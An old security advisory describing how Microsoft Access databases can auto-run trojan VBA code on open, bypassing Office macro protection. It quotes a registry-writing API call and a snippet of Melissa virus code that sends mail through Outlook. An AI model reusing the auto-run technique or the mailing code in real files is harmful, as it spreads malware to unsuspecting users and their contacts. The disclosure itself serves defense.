access.vba.txt

`Microsoft Access Trojan VBA code: The overlooked "macro virus"  
  
  
--[ Brief Summary:  
  
Microsoft Access Databases are not afforded "Macro execution protection"  
in the manner of Word/Excel/Powerpoint documents. Attackers can insert  
trojan VBA code into MS Access documents to execute arbitrary commands  
on the remote machine.  
  
  
--[ Foreground:  
  
There has been a great deal of discussion about MS Jet and ODBC not  
affording appropriate protection to metacharacters, and the subsequent  
inbound hooks from an IIS server. (I'm terribly oversimplifying an  
excellent article by [email protected] et al:  
http://www.securityfocus.com/bid/286) However, trojan applications have  
created a nasty media stir in the recent past. With Office 2000  
protection from macros, Access stands alone as unprotected. Hence this  
spin on the trojan VBA issue.  
  
  
--[ Background:  
  
There has been (perhaps too much) publicity surrounding the trojan/virus  
capabilities of Microsoft Office applications which enable macro  
execution options.  
  
The use of these trojans should subside now that Microsoft has  
implemented more stringent security options into the Office 2000 suite.  
Specifically, under Tools|Macro|Security there are three security  
levels: High, Medium and Low (not recommended). The "High security"  
setting is the default option for Word, Excel, and Powerpoint. This  
setting states that "Only signed macros from trusted sources will be  
allowed to run. Unsigned macros are automatically disabled." Bye, bye  
Melissa. Thanx, Microsoft.  
  
The Office 2000 suite uses Visual Basic for Applications (VBA) as it's  
application-portable programming language. When a user records a macro  
in Word/Excel/Powerpoint, the actions are translated into VBA code. The  
subsequent VBA code sequence is then termed a macro, and afforded the  
protections of the security settings listed above.  
  
  
  
--[ Issue:  
  
The Access application, however uses VBA as an integral part of forms  
presentation and processing which is in turn an integral part of a  
stand-alone Access application. You turn off VBA, Access is neither  
shiny nor happy.  
  
An attacker can craft an MS Access database with a single form which  
auto-launches. When the database is opened, the form is presented  
automagically. Within the properties of the form, the "On Open" property  
(default sub of Form_Open) can contain VBA code.  
  
It happens like this:  
  
Double click Database (.mdb file)  
Open Database  
Show Form  
Execute VBA code  
  
The user simply opens the document, and the code is launched.  
  
  
--[ What can VBA do to me?  
  
Bad VBA code has been talked about in several threads. RFP mentions the  
VBA.Interaction.Shell command which executes a command on the local  
system. This is a quick and dirty payload, especially when coupled to  
the "regedit /s" command which would allow an attacker to create a .reg  
file, and import it into the registry.  
  
A cleaner way becomes available, which is not available to the ODBC  
method. The advapi32.dll API Reg*Ex allows direct registry IO without  
taking the time to upload a .reg file. These functions can simply be  
defined along with the hideous necesary constants inside the VBA code.  
  
In addition, an attacker can follow in the footsteps of Melissa et al  
and use the VBA.Interaction.CreateObject call to create an MS Outlook  
instance which sends trojan email to every address in the addressbook.  
*yawn*  
  
  
--[ Examples  
  
Simply click the attached Access application to see the effect this  
trojan can have on your system. =) Seriously, these examples require  
quite a few constant definitions to work. If you're good enough to get  
all the constants figured out, you're sharp enough to create these  
examples on your own. In short, I didn't show you how to do it. ;)  
  
Our REG*EX method simply relies on a syntactically clean call to  
RegCreteKeyEx to create a registry key:  
  
rc = RegCreateKeyEx(HKEY_CURRENT_USER, "[email protected]", 0, "", _  
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, secattr, Result, Disposition)  
  
This line will create a key under HKEY_CURRENT_USER called  
"[email protected]". Groovy.  
The other calls, including RegSetValueEx and RegDeleteKey do various  
groovy things too.  
  
In honor of Kwyjibo, we can use the VBA.Interaction.CreateObject method  
to spread like wildfire thanks to MS Outlook:  
  
---Snip from Melissa---  
Set UngaDasOutlook = CreateObject("Outlook.Application")  
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")  
  
If UngaDasOutlook = "Outlook" Then  
DasMapiName.Logon "profile", "password"  
  
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)  
BreakUmOffASlice.Recipients.Add "[email protected]"  
BreakUmOffASlice.Subject = "Important Message From " &  
Application.CurrentUser  
BreakUmOffASlice.Send  
  
DasMapiName.Logoff  
---snip---  
  
Access doesn't implement the System library like MS Word does. Hence,  
the System.[doregistrystuff] calls won't work here. The system calls can  
be replaced with just about any API you care to 'Define' in the VBA  
code. Other VBA libraries such as the Application library shown above  
may prove as suitable replacements.  
  
  
--[ Conclusion  
  
Microsoft has certainly taken strides to protect against application  
trojans within the Office 2000 suite. However, MS Access would have  
to be (IMHO) gutted and fileted in order to follow the same security  
measures. In the mean time, be sure not to trust every MS Access  
database you stumble across in your inbox unless you're a pine  
user. ;)  
  
I have posted an example .MDB file illustrating some of the above  
examples on my web site http://johnny.ihackstuff.com/ in the  
security section. Be warned that the .MDB file will create  
a top-level registry key called "[email protected]". I have  
"protected" (*hrmph*) the code by disabling the VBA editor, and  
shutting down Access as soon as the payload is delivered. Access  
gets all pissy about that, and sends out a hideous error, but it  
makes it a pain to use this maliciously.  
  
  
--[ Shouts  
  
Jake, Mac, Buddy, the Family  
ADM, "...'cuz damn"  
RFP for those writeups that take me days to really _get_  
the boys and girls of CHAOS for keeping it real (the H.E.A.T. is on)  
route for right pointers ;)  
topher, coretez, dr. mudge, hobs, punkis  
The boys of HL  
  
  
  
"I'm Johnny. I hack stuff." - [email protected]  
http://johnny.ihackstuff.com  
  
`